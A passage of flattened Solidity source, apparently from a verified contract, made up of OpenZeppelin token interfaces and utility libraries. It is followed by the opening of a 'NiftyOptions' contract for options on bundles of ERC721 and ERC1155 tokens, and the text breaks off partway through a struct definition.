`tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice It is the interface of functions that we use for the canonical WETH contract. */ abstract contract IWETH is IERC20 { /** * @notice It withdraws ETH from the contract by sending it to the caller and reducing the caller's internal balance of WETH. * @param amount The amount of ETH to withdraw. */ function withdraw(uint256 amount) external virtual; /** * @notice It deposits ETH into the contract and increases the caller's internal balance of WETH. */ function deposit() external payable virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /********************************************************************************************************************************** * ________ ___ ________ _________ ___ ___ ________ ________ _________ ___ ________ ________ ________ * * |\ ___ \|\ \|\ _____\\___ ___\ |\ \ / /| |\ __ \|\ __ \|\___ ___\\ \|\ __ \|\ ___ \|\ ____\ * * \ \ \\ \ \ \ \ \ \__/\|___ \ \_| \ \ \/ / / \ \ \|\ \ \ \|\ \|___ \ \_\ \ \ \ \|\ \ \ \\ \ \ \ \___|_ * * \ \ \\ \ \ \ \ \ __\ \ \ \ \ \ / / \ \ \\\ \ \ ____\ \ \ \ \ \ \ \ \\\ \ \ \\ \ \ \_____ \ * * \ \ \\ \ \ \ \ \ \_| \ \ \ \/ / / \ \ \\\ \ \ \___| \ \ \ \ \ \ \ \\\ \ \ \\ \ \|____|\ \ * * \ \__\\ \__\ \__\ \__\ \ \__\__/ / / \ \_______\ \__\ \ \__\ \ \__\ \_______\ \__\\ \__\____\_\ \ * * \|__| \|__|\|__|\|__| \|__|\___/ / \|_______|\|__| \|__| \|__|\|_______|\|__| \|__|\_________\ * * \|___|/ \|_________| * * **********************************************************************************************************************************/ // Contracts import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "./URIFetcher.sol"; // Interfaces import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./IWETH.sol"; /* * @notice This is an options contract that allows a user to deposit a bundle of tokens for a set price that can be executed at * a later time. This allows users to lend their ETH as collateral for the option and collect a premium by the * option creator. */ contract NiftyOptions is ERC721Upgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { using SafeERC20 for IERC20; using SafeERC20 for IWETH; uint32 public constant ONE_YEAR = 31536000; uint32 public constant ONE_DAY = 86400; IWETH public immutable WETH; uint256 public optionsCount = 0; URIFetcher public uriFetcher; mapping(uint256 => OptionData) public options; mapping(uint256 => TokenBundle) internal _bundles; // Holds address of last owner for failed expired options mapping(uint256 => address) internal _expiredLastOwner; enum OptionStatus { unfilled, filled, exercised, cancelled, expired } enum TokenType { ERC721, ERC1155 } struct TokenBundle { TokenType[] types; address[] addresses; uint256[] ids; uint256[] amounts; } struct OptionData { uint256 